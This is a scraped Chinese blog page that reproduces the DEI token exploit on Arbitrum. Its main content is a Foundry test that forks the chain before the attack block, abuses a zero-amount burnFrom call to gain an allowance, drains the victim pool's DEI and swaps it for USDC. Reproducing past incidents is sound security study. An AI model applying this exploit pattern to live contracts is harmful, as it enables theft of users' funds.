当前位置: 首页 > news >正文

智能合约漏洞案例,DEI 漏洞复现

智能合约漏洞案例,DEI 漏洞复现

1. 漏洞简介

https://twitter.com/eugenioclrc/status/1654576296507088906

2. 相关地址或交易

https://explorer.phalcon.xyz/tx/arbitrum/0xb1141785b7b94eb37c39c37f0272744c6e79ca1517529fec3f4af59d4c3c37ef 攻击交易

3. 获利分析

5. 漏洞复现

pragma solidity ^0.8.10;//import  "../interfaces/interface.sol";
import "forge-std/Test.sol";
import "./interface.sol";
import "../contracts/ERC20.sol";interface DEI {function burnFrom(address account, uint256 amount) external;
}interface AMM {function sync() external;function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;function getAmountOut(uint amountIn, address tokenIn) external returns(uint256);}contract ContractTest is Test{address constant dei = 0xDE1E704dae0B4051e80DAbB26ab6ad6c12262DA0;address constant victim = 0x7DC406b9B904a52D10E19E848521BbA2dE74888b;address constant usdc = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);function setUp() public {cheats.createSelectFork("arbitrum", 87626026 -2);//uint256 forkId = cheats.createFork("bsc");//cheats.selectFork(forkId);}function testExploit() external {IERC20(dei).approve(victim,type(uint256).max);DEI(dei).burnFrom(victim, 0);emit log_named_decimal_uint("Attacker DEI allowance", IERC20(dei).allowance(victim,address(this)), 18);uint256 victimNum = IERC20(dei).balanceOf(victim);emit log_named_decimal_uint("victim DEI allowance", victimNum, 18);IERC20(dei).transferFrom(victim,address(this),victimNum-1);AMM(victim).sync();emit log_named_decimal_uint("After attack,Attacker DEI allowance",IERC20(dei).balanceOf(address(this)), 18);uint outNum = AMM(victim).getAmountOut(victimNum-1, dei);emit log_named_decimal_uint("outNUm is :",outNum, 18);IERC20(dei).transfer(victim,victimNum-1);AMM(victim).swap(0, outNum, address(this), "");emit log_named_decimal_uint("After attacker's usdc is :",IERC20(usdc).balanceOf(address(this)), 6);}
}
http://www.lryc.cn/news/168585.html

相关文章:

  • Attention is all you need 论文笔记
  • Hdoop伪分布式集群搭建
  • java临时文件
  • C++中的<string>头文件 和 <cstring>头文件简介
  • 安装MySQL
  • 输入学生成绩,函数返回最大元素的数组下标,求最高分学生成绩(输入负数表示输入结束)
  • 常用音频接口:TDM,PDM,I2S,PCM
  • git clone报错Failed to connect to github.com port 443 after 21055 ms:
  • 【操作系统】深入浅出死锁问题
  • springboot实现webSocket服务端和客户端demo
  • 代码走读: FFMPEG-ffplayer02
  • 【数据结构】——排序算法的相关习题
  • C高级day5(Makefile)
  • Android 系统中适配OAID获取
  • 差分数组leetcode 2770 数组的最大美丽值
  • 请求响应状态码
  • 安卓机型系统美化 Color.xml文件必备常识 自定义颜色资源
  • YOLO物体检测-系列教程1:YOLOV1整体解读(预选框/置信度/分类任/回归任务/损失函数/公式解析/置信度/非极大值抑制)
  • 2023/9/12 -- C++/QT
  • 【Purple Pi OH RK3566鸿蒙开发板】OpenHarmony音频播放应用,真实体验感爆棚!
  • Android rom开发:9.0系统上实现4G wifi 以太网共存
  • 高速自动驾驶HMI人机交互
  • 【自然语言处理】关系抽取 —— SOLS 讲解
  • 周易算卦流程c++实现
  • 软件架构设计(十三) 构件与中间件技术
  • PyTorch深度学习实战——基于ResNet模型实现猫狗分类
  • 机器学习第六课--朴素贝叶斯
  • 基于Java+SpringBoot+Vue的图书借还小程序的设计与实现(亮点:多角色、点赞评论、借书还书、在线支付)
  • 【校招VIP】前端计算机网络之UDP相关
  • 前缀和实例4(和可被k整除的子数组)